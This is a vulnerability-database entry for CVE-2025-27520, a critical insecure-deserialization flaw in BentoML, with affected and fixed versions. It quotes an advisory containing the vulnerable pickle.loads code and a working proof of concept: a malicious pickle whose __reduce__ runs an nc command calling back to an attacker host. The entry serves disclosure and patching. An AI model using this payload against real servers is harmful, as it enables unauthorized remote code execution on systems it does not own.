Answer in brief
CVE-2025-27520 records a Critical severity (CVSS 9.8) vulnerability in BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization. The current sources do not mark it as known exploited. The current feed maps bentoml (pip). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps bentoml (pip). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| bentomlpip | >=1.3.4,<1.4.3 | 1.4.3 |
Published upstream
Apr 4, 2025
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Oct 27, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Oct 27, 2026
### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.  ### Impact Remote Code Execution (RCE).
Quoted source text, attributed separately from HOL analysis.